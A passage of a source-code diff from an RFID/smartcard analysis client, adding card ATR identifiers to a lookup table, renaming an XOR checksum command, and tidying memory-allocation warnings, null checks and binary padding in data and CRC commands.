im Hochtaunus, Germany (Bank)" }, + { "3BFF9600FF8131FE4065631D03860156000220093138011062", "GLS Bank MasterCard (Bank)\nhttps://www.gls.de/konten-karten/karten/kreditkarte/" }, + { "3BFF9600FF8131FE4065631D038601560002210B612401102D", "Girocard (Bank)\nhttps://www.muenchner-bank.de" }, + { "3BFF9600FF8131FE4065631D038602500023020B20DD011092", "DKB Visa (Debit) (Bank)\nhttps://www.dkb.de/" }, { "3BFF9600FF8131FE4065631D0386025000230808914F0110B8", "Debit card (Germany): ec-cash, GeldKarte(EUR), Visa, Cirrus (Bank)" }, { "3BFF9600FF8131FE4065631D038602500023130981390110C4", "girocard contactless (Bank)" }, { "3BFF9600FF8131FE456563060752025000103025411A064082", "DKB (Deutsche Kreditbank) girocard (V-PAY, GeldKarte) (Bank)\nhttps://www.dkb.de/privatkunden/karten/girocard" }, @@ -4224,6 +4599,7 @@ const static atr_t AtrTable[] = { { "3F2F008069AF03070352000D0A0E833E9F16", "GSM-SIM Debitel D2 (900MHz)" }, { "3F2F008069AF0307035A00150A0E833E9F16", "Virgin Mobile SIM (Gemplus)" }, { "3F36110053495B015153", "Sodexo Pass Lunch Card. An employee benefits card to provide meal tickets to workers. (Other)\nhttps://www.sodexo-benefits.it/prodotto/aziende/pausa-pranzo-aziende/pass-lunch-card/#tabsoluzioni" }, + { "3F3B11004B494154325F5253079000", "singe-use Smart Card from Indesit/Whirlpool containing dishwasher EEPROM data (spare part no C00277010, containing the file 28655190905.eep) (Other)\nhttps://fixpart.co.uk/product/whirlpool-indesit-c00277010-programming-card" }, { "3F3BF81300008131FE454A434F5076", "District6 Group employee ID (eID)" }, { "3F3D1100806728500402200000838E9000", "GSM SIM card of the Austrian provider A1" }, { "3F3E110046524543434941524F5353419000", "Trenitalia (Italy) fidelity card 'CartaFreccia' (Smartcard)" }, @@ -4304,8 +4680,10 @@ const static atr_t AtrTable[] = { { "3F7F13250240B01269FF4A509054560000000000", "NDS Smartcard (Pay TV)" }, { "3F7F13250241B004FFFF4A508080000000475806", "NDS card DIRECTV (Other)" }, { "3F7F13250241B00EFFFF4A508080000000474C07", "SKY BRASIL (Pay TV)" }, + { "3F7F13250241B00EFFFF4A508080000000485507", "DirecTV Access Card (as of 2016) (Pay TV)" }, { "3F7F13250333B00669FF4A50D000005359000000", "Sky 2005/6 (DSS satellite TV card)" }, { "3F7F13250333B01169FF4A505000004956010000", "Indonesia Videoguard 2 card" }, + { "3F7F13250333B01169FF4A505000005344010000", "STAR TV (Pay TV)" }, { "3F7F13250338B004FFFF4A500000294855......", "DSS/DTV HU" }, { "3F7F13250340B00B694C4A50C000005359000000", "Sky Digital (DSS satellite TV card)" }, { "3F7F13250540B01169FF4A500000004754000C00", "YES DBS Israel Videoguard 090C,090D" }, @@ -4358,6 +4736,7 @@ const static atr_t AtrTable[] = { { "3FFF142503108041B00769FF4A5070800058440100FF", "Provider Vivacom Bulgaria NDS (Pay TV)\nhttp://www.vivacom.bg/en/satellite-services" }, { "3FFF142503108041B00769FF4A507080005845010014", "Sat TV (Other)" }, { "3FFF142503108054B00169FF4A507000004B57010000", "PayTV Card Kabel BW (www.kabelbw.de), Encryption: NDS by Videoguard, Distribution Standard: DVB-C" }, + { "3FFF152503108041B00769FF4A507000005031010011", "V13 or V14 (NDS) (Pay TV)" }, { "3FFF152503108041B00769FF4A507000005031010015", "Sky (Germany) VideoGuard CAM card (www.sky.de) in Fast Mode (ins7e11=15) (Pay TV)" }, { "3FFF3F3F3F3F003F3FFF3F3F3F3F3FFF3FFF953FFF953FFF", "Premium joker card to see Spanish TDT premium (goltv)" }, { "3FFF9500FF918171..4700..4.4.....3.3.3.20..657.........", "Nagravision TV CAM card\nhttp://en.wikipedia.org/wiki/Nagravision" }, @@ -4380,6 +4759,7 @@ const static atr_t AtrTable[] = { { "3FFF9500FF918171FE4700444E4153503134322052657647303612", "UM02 card from German Unitymedia cable TV provider" }, { "3FFF9500FF918171FE4700444E4153503134322052657647433463", "HD+ card used by the satellite company astra for decryption of the HDTV channels of RTL, VOX, Sat1 and ProSieben. Nagravision V3 is used for the encryption." }, { "3FFF9500FF918171FE4700444E415350313830204D65724A30320E", "Nagra 3 Digital Plus Spain" }, + { "3FFF9500FF918171FE4700444E415350314130204D65725332336D", "Ziggo (Pay TV)" }, { "3FFF9500FF918171FE4700444E41535032343120447368", "DISH Network G3 (Pay TV)" }, { "3FFF9500FF918171FE4700444E415350323431204473684830390C", "Dish Network Smart Card (Pay TV)" }, { "3FFF9500FF918171FE47004E434D4544303041205265764130316C", "Mediaset Premium (Italy) 2013" }, @@ -4392,8 +4772,10 @@ const static atr_t AtrTable[] = { { "3FFF9500FF918171FE5700444E4153503431302052657651323715", "New Digi Slovakia (Pay TV)\nhttps://www.lyngsat.com/packages/Digi.html" }, { "3FFF9500FF918171FE5700444E4153503431302052657651324260", "Nagravision Kudelski Generation 7 card Rom410 MerQ2B (Pay TV)" }, { "3FFF9500FF918171FE5700444E4153503431302052657651325371", "Slovak and Czech pay TV provider Slovak Telecom (Pay TV)\nhttp://www.flysat.com/novadigi-sk.php" }, + { "3FFF9500FF918171FE5700444E4153503432302052657653323615", "bank comercial do huambo (Bank)" }, { "3FFF9500FF918171FE5700444E4153503432302052657653363017", "HD+ HD04b Card (Pay TV)" }, { "3FFF9500FF918171FE5700444E4153503432302052657653363413", "claro card honduras central america 'NAGRA' (Pay TV)" }, + { "3FFF9500FF918171FE5700444E4153503432302052657653364166", "NAGRA KUDELSKI (Pay TV)" }, { "3FFF9500FF918171FE5700444E4153503432302052657653364265", "Nagra Kudelski / Canalsat Reunion (Pay TV)" }, { "3FFF9500FF918171FE5700444E4153503435302052657657363014", "HD+ HD05 Paytv smartcard (Pay TV)" }, { "3FFF9500FF918171FE5700444E415350343832205265765232361C", "Max Tv Croatia (Pay TV)\nhttps://www.lyngsat.com/packages/Max-TV.html" }, diff --git a/client/src/cmdanalyse.c b/client/src/cmdanalyse.c index d3456950d..9c2d7ec8b 100644 --- a/client/src/cmdanalyse.c +++ b/client/src/cmdanalyse.c @@ -40,10 +40,10 @@ static int CmdHelp(const char *Cmd); static uint8_t calculateLRC(const uint8_t *d, uint8_t n) { - uint8_t lcr = 0; + uint8_t lrc = 0; for (uint8_t i = 0; i < n; i++) - lcr ^= d[i]; - return lcr; + lrc ^= d[i]; + return lrc; } /* static uint16_t matrixadd ( uint8_t* bytes, uint8_t len){ @@ -185,9 +185,7 @@ static uint16_t calcXORchecksum(uint8_t *bytes, uint8_t len, uint32_t mask) { return 0xFF - calcSumByteXor(bytes, len, mask); } - //2148050707DB0A0E000001C4000000 - // measuring LFSR maximum length static int CmdAnalyseLfsr(const char *Cmd) { CLIParserContext *ctx; @@ -242,17 +240,17 @@ static int CmdAnalyseLfsr(const char *Cmd) { return PM3_SUCCESS; } -static int CmdAnalyseLCR(const char *Cmd) { +static int CmdAnalyseLRC(const char *Cmd) { CLIParserContext *ctx; - CLIParserInit(&ctx, "analyse lcr", + CLIParserInit(&ctx, "analyse lrc", "Specifying the bytes of a UID with a known LRC will find the last byte value\n" "needed to generate that LRC with a rolling XOR. All bytes should be specified in HEX.", - "analyse lcr -d 04008064BA -> Target (BA) requires final LRC XOR byte value: 5A" + "analyse lrc -d 04008064BA -> Target (BA) requires final LRC XOR byte value: 5A" ); void *argtable[] = { arg_param_begin, - arg_str1("d", "data", "", "bytes to calc missing XOR in a LCR"), + arg_str1("d", "data", "", "bytes to calc missing XOR in a LRC"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -910,6 +908,7 @@ static int CmdAnalyseDemodBuffer(const char *Cmd) { // add 1 for null terminator. uint8_t *data = calloc(len + 1, sizeof(uint8_t)); if (data == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); CLIParserFree(ctx); return PM3_EMALLOC; } @@ -929,7 +928,7 @@ static int CmdAnalyseDemodBuffer(const char *Cmd) { PrintAndLogEx(NORMAL, ""); g_DemodBufferLen = len; free(data); - PrintAndLogEx(HINT, "Use `" _YELLOW_("data print") "` to view DemodBuffer"); + PrintAndLogEx(HINT, "Hint: Use `" _YELLOW_("data print") "` to view DemodBuffer"); return PM3_SUCCESS; } @@ -1171,7 +1170,7 @@ static int CmdAnalyseUnits(const char *Cmd) { static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, - {"lcr", CmdAnalyseLCR, AlwaysAvailable, "Generate final byte for XOR LRC"}, + {"lrc", CmdAnalyseLRC, AlwaysAvailable, "Generate final byte for XOR LRC"}, {"crc", CmdAnalyseCRC, AlwaysAvailable, "Stub method for CRC evaluations"}, {"chksum", CmdAnalyseCHKSUM, AlwaysAvailable, "Checksum with adding, masking and one's complement"}, {"dates", CmdAnalyseDates, AlwaysAvailable, "Look for datestamps in a given array of bytes"}, diff --git a/client/src/cmdcrc.c b/client/src/cmdcrc.c index 7cbee8d2f..66b826dd5 100644 --- a/client/src/cmdcrc.c +++ b/client/src/cmdcrc.c @@ -56,6 +56,10 @@ static int split(char *str, char *arr[MAX_ARGS]) { } int len = endIndex - beginIndex; char *tmp = calloc(len + 1, sizeof(char)); + if (tmp == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return wordCnt; + } memcpy(tmp, &str[beginIndex], len); arr[wordCnt++] = tmp; beginIndex = endIndex; @@ -82,20 +86,25 @@ int GetModels(char *Models[], int *count, uint8_t *width) { SETBMP(); if (width[0] == 0) { //reveng -D + *count = mcount(); if (!*count) { PrintAndLogEx(WARNING, "no preset models available"); return 0; } + for (int mode = 0; mode < *count; ++mode) { + mbynum(&model, mode); mcanon(&model); size_t size = (model.name && *model.name) ? strlen(model.name) : 7; + char *tmp = calloc(size + 1, sizeof(char)); if (tmp == NULL) { - PrintAndLogEx(WARNING, "out of memory?"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return 0; } + if (model.name != NULL) { memcpy(tmp, model.name, size); Models[mode] = tmp; @@ -113,18 +122,21 @@ int GetModels(char *Models[], int *count, uint8_t *width) { PrintAndLogEx(WARNING, "cannot search for non-Williams compliant models"); return 0; } + praloc(&model.spoly, (unsigned long)width[0]); praloc(&model.init, (unsigned long)width[0]); praloc(&model.xorout, (unsigned long)width[0]); - if (!plen(model.spoly)) + if (!plen(model.spoly)) { palloc(&model.spoly, (unsigned long)width[0]); - else + } else { width[0] = (uint8_t)plen(model.spoly); + } /* special case if qpoly is zero, search to end of range */ - if (!ptst(qpoly)) + if (!ptst(qpoly)) { rflags &= ~R_HAVEQ; + } int pass; @@ -135,31 +147,41 @@ int GetModels(char *Models[], int *count, uint8_t *width) { */ /* scan against preset models */ if (~uflags & C_NOPCK) { + pass = 0; int Cnt = 0; + do { int psets = mcount(); while (psets) { + mbynum(&pset, --psets); /* skip if different width, or refin or refout don't match */ - if (plen(pset.spoly) != width[0] || (model.flags ^ pset.flags) & (P_REFIN | P_REFOUT)) + if (plen(pset.spoly) != width[0] || (model.flags ^ pset.flags) & (P_REFIN | P_REFOUT)) { continue; + } + /* skip if the preset doesn't match specified parameters */ - if (rflags & R_HAVEP && pcmp(&model.spoly, &pset.spoly)) + if (rflags & R_HAVEP && pcmp(&model.spoly, &pset.spoly)) { continue; - if (rflags & R_HAVEI && psncmp(&model.init, &pset.init)) + } + + if (rflags & R_HAVEI && psncmp(&model.init, &pset.init)) { continue; - if (rflags & R_HAVEX && psncmp(&model.xorout, &pset.xorout)) + } + + if (rflags & R_HAVEX && psncmp(&model.xorout, &pset.xorout)) { continue; + } //for additional args (not used yet, maybe future?) apoly = pclone(pset.xorout); - if (pset.flags & P_REFOUT) + if (pset.flags & P_REFOUT) { prev(&apoly); - + } for (qptr = apolys; qptr < pptr; ++qptr) { crc = pcrc(*qptr, pset.spoly, pset.init, apoly, 0); @@ -180,9 +202,10 @@ int GetModels(char *Models[], int *count, uint8_t *width) { //PrintAndLogEx(NORMAL, "Size: %d, %s, count: %d",size,pset.name, Cnt); char *tmp = calloc(size + 1, sizeof(char)); if (tmp == NULL) { - PrintAndLogEx(WARNING, "out of memory?"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return 0; } + width[Cnt] = width[0]; memcpy(tmp, pset.name, size); Models[Cnt++] = tmp; @@ -199,6 +222,7 @@ int GetModels(char *Models[], int *count, uint8_t *width) { prevch(qptr, ibperhx); } } + } while (~rflags & R_HAVERI && ++pass < 2); } //got everything now free the memory... @@ -208,6 +232,7 @@ int GetModels(char *Models[], int *count, uint8_t *width) { pfree(qptr); } } + if (uflags & C_NOBFS && ~rflags & R_HAVEP) { PrintAndLogEx(WARNING, "no models found"); return 0; @@ -217,24 +242,30 @@ int GetModels(char *Models[], int *count, uint8_t *width) { PrintAndLogEx(WARNING, "cannot search for crossed-endian models"); return 0; } + pass = 0; int args = 0; do { + model_t *candmods = reveng(&model, qpoly, rflags, args, apolys); model_t *mptr = candmods; if (mptr && plen(mptr->spoly)) { uflags |= C_RESULT; } + while (mptr && plen(mptr->spoly)) { mfree(mptr++); } + free(candmods); + if (~rflags & R_HAVERI) { model.flags ^= P_REFIN | P_REFOUT; for (qptr = apolys; qptr < pptr; ++qptr) { prevch(qptr, ibperhx); } } + } while (~rflags & R_HAVERI && ++pass < 2); for (qptr = apolys; qptr < pptr; ++qptr) { @@ -401,6 +432,11 @@ static int CmdrevengTestC(const char *Cmd) { //returns a calloced string (needs to be freed) static char *SwapEndianStr(const char *inStr, const size_t len, const uint8_t blockSize) { char *tmp = calloc(len + 1, sizeof(char)); + if (tmp == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return NULL; + } + for (uint8_t block = 0; block < (uint8_t)(len / blockSize); block++) { for (size_t i = 0; i < blockSize; i += 2) { tmp[i + (blockSize * block)] = inStr[(blockSize - 1 - i - 1) + (blockSize * block)]; @@ -466,6 +502,7 @@ static int CmdrevengSearch(const char *Cmd) { memset(result, 0, sizeof(result)); char *inCRC = calloc(crcChars + 1, sizeof(char)); if (inCRC == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return 0; } @@ -473,6 +510,7 @@ static int CmdrevengSearch(const char *Cmd) { char *outHex = calloc(dataLen - crcChars + 1, sizeof(char)); if (outHex == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); free(inCRC); return 0; } diff --git a/client/src/cmddata.c b/client/src/cmddata.c index 53d93b4ca..df05e9084 100644 --- a/client/src/cmddata.c +++ b/client/src/cmddata.c @@ -94,13 +94,17 @@ static char *commaprint(size_t n) { // set the g_DemodBuffer with given array ofq binary (one bit per byte) void setDemodBuff(const uint8_t *buff, size_t size, size_t start_idx) { - if (buff == NULL) return; + if (buff == NULL) { + return; + } - if (size > MAX_DEMOD_BUF_LEN - start_idx) + if (size > MAX_DEMOD_BUF_LEN - start_idx) { size = MAX_DEMOD_BUF_LEN - start_idx; + } - for (size_t i = 0; i < size; i++) + for (size_t i = 0; i < size; i++) { g_DemodBuffer[i] = buff[start_idx++]; + } g_DemodBufferLen = size; } @@ -254,7 +258,7 @@ int printDemodBuff(uint8_t offset, bool strip_leading, bool invert, bool print_h uint8_t *buf = calloc(len, sizeof(uint8_t)); if (buf == NULL) { - PrintAndLogEx(WARNING, "fail, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } memcpy(buf, g_DemodBuffer, len); @@ -420,7 +424,7 @@ int ASKDemod_ext(int clk, int invert, int maxErr, size_t maxlen, bool amplify, b uint8_t *bits = calloc(MAX_GRAPH_TRACE_LEN, sizeof(uint8_t)); if (bits == NULL) { - PrintAndLogEx(INFO, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -595,7 +599,7 @@ static int Cmdmandecoderaw(const char *Cmd) { uint8_t *bits = calloc(MAX_DEMOD_BUF_LEN, sizeof(uint8_t)); if (bits == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -692,7 +696,7 @@ static int CmdBiphaseDecodeRaw(const char *Cmd) { uint8_t *bits = calloc(MAX_DEMOD_BUF_LEN, sizeof(uint8_t)); if (bits == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -733,7 +737,7 @@ int ASKbiphaseDemod(int offset, int clk, int invert, int maxErr, bool verbose) { uint8_t *bs = calloc(MAX_DEMOD_BUF_LEN, sizeof(uint8_t)); if (bs == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -914,7 +918,7 @@ int AutoCorrelate(const int *in, int *out, size_t len, size_t window, bool SaveG PrintAndLogEx(SUCCESS, "Possible correlation at "_YELLOW_("%4d") " samples", distance); } } else { - PrintAndLogEx(HINT, "No repeating pattern found, try increasing window size"); + PrintAndLogEx(HINT, "Hint: No repeating pattern found, try increasing window size"); // return value -1, indication to increase window size return -1; } @@ -953,7 +957,7 @@ static int CmdAutoCorr(const char *Cmd) { if (g_GraphTraceLen == 0) { PrintAndLogEx(WARNING, "GraphBuffer is empty"); - PrintAndLogEx(HINT, "Try `" _YELLOW_("lf read") "` to collect samples"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("lf read") "` to collect samples"); return PM3_ESOFT; } @@ -1074,7 +1078,7 @@ static int CmdUndecimate(const char *Cmd) { //We have memory, don't we? int *swap = calloc(MAX_GRAPH_TRACE_LEN, sizeof(int)); if (swap == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } uint32_t g_index = 0, s_index = 0; @@ -1271,7 +1275,7 @@ int FSKrawDemod(uint8_t rfLen, uint8_t invert, uint8_t fchigh, uint8_t fclow, bo uint8_t *bits = calloc(MAX_GRAPH_TRACE_LEN, sizeof(uint8_t)); if (bits == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -1374,7 +1378,7 @@ int PSKDemod(int clk, int invert, int maxErr, bool verbose) { uint8_t *bits = calloc(MAX_GRAPH_TRACE_LEN, sizeof(uint8_t)); if (bits == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } size_t bitlen = getFromGraphBuffer(bits); @@ -1424,7 +1428,7 @@ int NRZrawDemod(int clk, int invert, int maxErr, bool verbose) { uint8_t *bits = calloc(MAX_GRAPH_TRACE_LEN, sizeof(uint8_t)); if (bits == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -1807,7 +1811,7 @@ int CmdHpf(const char *Cmd) { uint8_t *bits = calloc(g_GraphTraceLen, sizeof(uint8_t)); if (bits == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } size_t size = getFromGraphBuffer(bits); @@ -1866,7 +1870,7 @@ int getSamplesEx(uint32_t start, uint32_t end, bool verbose, bool ignore_lf_conf PacketResponseNG resp; if (GetFromDevice(BIG_BUF, got, n, start, NULL, 0, &resp, 10000, true) == false) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } @@ -1915,7 +1919,7 @@ int getSamplesFromBufEx(uint8_t *data, size_t sample_num, uint8_t bits_per_sampl uint8_t *bits = calloc(g_GraphTraceLen, sizeof(uint8_t)); if (bits == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } size_t size = getFromGraphBuffer(bits); @@ -1991,7 +1995,7 @@ static int CmdLoad(const char *Cmd) { f = fopen(path, "r"); if (f == NULL) { - PrintAndLogEx(WARNING, "couldn't open '%s'", path); + PrintAndLogEx(WARNING, "couldn't open `" _YELLOW_("%s") "`", path); free(path); return PM3_EFILE; } @@ -2005,8 +2009,9 @@ static int CmdLoad(const char *Cmd) { g_GraphBuffer[g_GraphTraceLen] = val[0] - 127; g_GraphTraceLen++; - if (g_GraphTraceLen >= MAX_GRAPH_TRACE_LEN) + if (g_GraphTraceLen >= MAX_GRAPH_TRACE_LEN) { break; + } } } else { char line[80]; @@ -2025,7 +2030,7 @@ static int CmdLoad(const char *Cmd) { if (nofix == false) { uint8_t *bits = calloc(g_GraphTraceLen, sizeof(uint8_t)); if (bits == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } size_t size = getFromGraphBuffer(bits); @@ -2172,7 +2177,7 @@ int CmdNorm(const char *Cmd) { uint8_t *bits = calloc(g_GraphTraceLen, sizeof(uint8_t)); if (bits == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } size_t size = getFromGraphBuffer(bits); @@ -2253,7 +2258,7 @@ static int CmdTimeScale(const char *Cmd) { void *argtable[] = { arg_param_begin, arg_dbl1(NULL, "sr", "", "sets timescale factor according to sampling rate"), - arg_str0("u", "unit", "", "time unit to display (max 10 chars)"), + arg_str0("u", "unit", "", "time unit to display (max 10 chars)"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); @@ -2323,7 +2328,7 @@ static int CmdDirectionalThreshold(const char *Cmd) { // set signal properties low/high/mean/amplitude and isnoice detection uint8_t *bits = calloc(g_GraphTraceLen, sizeof(uint8_t)); if (bits == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } size_t size = getFromGraphBuffer(bits); @@ -2371,7 +2376,7 @@ static int CmdZerocrossings(const char *Cmd) { uint8_t *bits = calloc(g_GraphTraceLen, sizeof(uint8_t)); if (bits == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } size_t size = getFromGraphBuffer(bits); @@ -2383,8 +2388,9 @@ static int CmdZerocrossings(const char *Cmd) { } static bool data_verify_hex(uint8_t *d, size_t n) { - if (d == NULL) + if (d == NULL) { return false; + } for (size_t i = 0; i < n; i++) { if (isxdigit(d[i]) == false) { @@ -2566,6 +2572,75 @@ static int CmdFSKToNRZ(const char *Cmd) { return ans; } +/* +// If reactivated, beware it doesn't compile on Android (DXL) +void iceIIR_Butterworth(int *data, const size_t len) { + + int *output = (int *) calloc(sizeof(int) * len, sizeof(uint8_t)); + if (!output) return; + + // clear mem + memset(output, 0x00, len); + + size_t adjustedLen = len; + float fc = 0.1125f; // center frequency + + // create very simple low-pass filter to remove images (2nd-order Butterworth) + float complex iir_buf[3] = {0, 0, 0}; + float b[3] = {0.003621681514929, 0.007243363029857, 0.003621681514929}; + float a[3] = {1.000000000000000, -1.822694925196308, 0.837181651256023}; + + for (size_t i = 0; i < adjustedLen; ++i) { + + float sample = data[i]; // input sample read from array + float complex x_prime = 1.0f; // save sample for estimating frequency + float complex x; + + // remove DC offset and mix to complex baseband + x = (sample - 127.5f) * cexpf(_Complex_I * 2 * M_PI * fc * i); + + // apply low-pass filter, removing spectral image (IIR using direct-form II) + iir_buf[2] = iir_buf[1]; + iir_buf[1] = iir_buf[0]; + iir_buf[0] = x - a[1] * iir_buf[1] - a[2] * iir_buf[2]; + x = b[0] * iir_buf[0] + + b[1] * iir_buf[1] + + b[2] * iir_buf[2]; + + // compute instantaneous frequency by looking at phase difference + // between adjacent samples + float freq = cargf(x * conjf(x_prime)); + x_prime = x; // retain this sample for next iteration + + output[i] = (freq > 0) ? 127 : -127; + } + + // show data + //memcpy(data, output, adjustedLen); + for (size_t j = 0; j < adjustedLen; ++j) + data[j] = output[j]; + + free(output); +} +*/ + +static void iceSimple_Filter(int *data, const size_t len, uint8_t k) { +// ref: http://www.edn.com/design/systems-design/4320010/A-simple-software-lowpass-filter-suits-embedded-system-applications +// parameter K +#define FILTER_SHIFT 4 + + int32_t filter_reg = 0; + int8_t shift = (k <= 8) ? k : FILTER_SHIFT; + + for (size_t i = 0; i < len; ++i) { + // Update filter with current sample + filter_reg = filter_reg - (filter_reg >> shift) + data[i]; + + // Scale output for unity gain + data[i] = filter_reg >> shift; + } +} + static int CmdDataIIR(const char *Cmd) { CLIParserContext *ctx; @@ -2586,9 +2661,10 @@ static int CmdDataIIR(const char *Cmd) { uint8_t *bits = calloc(g_GraphTraceLen, sizeof(uint8_t)); if (bits == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } + size_t size = getFromGraphBuffer(bits); // set signal properties low/high/mean/amplitude and is_noise detection computeSignalProperties(bits, size); @@ -2905,7 +2981,7 @@ static int CmdDiff(const char *Cmd) { uint8_t *d = calloc(MIFARE_4K_MAX_BYTES, sizeof(uint8_t)); if (d == NULL) { - PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -3069,7 +3145,7 @@ static int CmdNumCon(const char *Cmd) { "Function takes a decimal or hexdecimal number and print it in decimal/hex/binary\n" "Will print message if number is a prime number\n", "data num --dec 2023\n" - "data num --hex 0x1000\n" + "data num --hex 2A\n" ); void *argtable[] = { @@ -3156,11 +3232,22 @@ static int CmdNumCon(const char *Cmd) { char s[600] = {0}; size_t slen = 0; + const char pad[] = "00000000000000000000000000000000000000000000000000000000000000000000000000000000"; for (uint8_t i = 0; i < ARRAYLEN(radix); i++) { MBEDTLS_MPI_CHK(mbedtls_mpi_write_string(&N, radix[i].radix, s, sizeof(s), &slen)); if (slen) { - PrintAndLogEx(SUCCESS, "%s%s", radix[i].desc, s); + + // only pad bin string + int pn = 0; + if (i == 2) { + if (blen && slen < blen) { + pn = blen - slen + 1; + } else if (hlen && (slen < (hlen * 4))) { + pn = (hlen * 4) - slen + 1; + } + } + PrintAndLogEx(SUCCESS, "%s%.*s%s", radix[i].desc, pn, pad, s); } } @@ -3182,10 +3269,22 @@ static int CmdNumCon(const char *Cmd) { for (uint8_t i = 0; i < ARRAYLEN(radix); i++) { MBEDTLS_MPI_CHK(mbedtls_mpi_write_string(&N, radix[i].radix, s, sizeof(s), &slen)); - str_reverse(s, strlen(s)); - if (slen) { - PrintAndLogEx(SUCCESS, "%s%s", radix[i].desc, s); + + // only pad bin string + char scpy[600] = {0x30}; + memset(scpy, 0x30, sizeof(scpy)); + int pn = 0; + if (i == 2) { + if (blen && slen < blen) { + pn = blen - slen + 1; + } else if (hlen && (slen < (hlen * 4))) { + pn = (hlen * 4) - slen + 1; + } + } + memcpy(scpy + pn, s, slen); + str_reverse(scpy, strlen(scpy)); + PrintAndLogEx(SUCCESS, "%s%s", radix[i].desc, scpy); } } @@ -3213,19 +3312,34 @@ static int CmdNumCon(const char *Cmd) { } switch (i) { - case 0: + case 0: { // MBEDTLS_MPI_CHK(mbedtls_mpi_inv_mod(&N, &N, &base)); break; - case 1: + } + case 1: { str_inverse_hex(s, strlen(s)); PrintAndLogEx(SUCCESS, "%s%s", radix[i].desc, s); break; - case 2: - str_inverse_bin(s, strlen(s)); - PrintAndLogEx(SUCCESS, "%s%s", radix[i].desc, s); + } + case 2: { + + char scpy[600] = {0x30}; + memset(scpy, 0x30, sizeof(scpy)); + int pn = 0; + if (blen && slen < blen) { + pn = blen - slen + 1; + } else if (hlen && (slen < (hlen * 4))) { + pn = (hlen * 4) - slen + 1; + } + + memcpy(scpy + pn, s, slen); + str_inverse_bin(scpy, strlen(scpy)); + PrintAndLogEx(SUCCESS, "%s%s", radix[i].desc, scpy); break; - default: + } + default: { break; + } } } // ascii @@ -3311,7 +3425,7 @@ static int CmdCenterThreshold(const char *Cmd) { // set signal properties low/high/mean/amplitude and isnoice detection uint8_t *bits = calloc(g_GraphTraceLen, sizeof(uint8_t)); if (bits == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } size_t size = getFromGraphBuffer(bits); @@ -3346,9 +3460,9 @@ static int envelope_square(const int *in, int *out, size_t len) { static int CmdEnvelope(const char *Cmd) { CLIParserContext *ctx; - CLIParserInit(&ctx, "data envelop", - "Create an square envelop of the samples", - "data envelop" + CLIParserInit(&ctx, "data envelope", + "Create an square envelope of the samples", + "data envelope" ); void *argtable[] = { arg_param_begin, @@ -3361,7 +3475,7 @@ static int CmdEnvelope(const char *Cmd) { uint8_t *bits = calloc(g_GraphTraceLen, sizeof(uint8_t)); if (bits == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } size_t size = getFromGraphBuffer(bits); @@ -3413,8 +3527,8 @@ static int CmdAtrLookup(const char *Cmd) { static int CmdCryptography(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "data crypto", - "Encrypt data, right here, right now. Or decrypt.", - "Supply data, key, IV (needed for des MAC or aes), and cryptography action.\n" + "This command lets you encrypt or decrypt data using DES/3DES/AES.\n" + "Supply data, key, IV (needed for des MAC or aes), and cryptography action.\n", "To calculate a MAC for FMCOS, supply challenge as IV, data as data, and session/line protection key as key.\n" "To calculate a MAC for FeliCa, supply first RC as IV, BLE+data as data and session key as key.\n" "data crypto -d 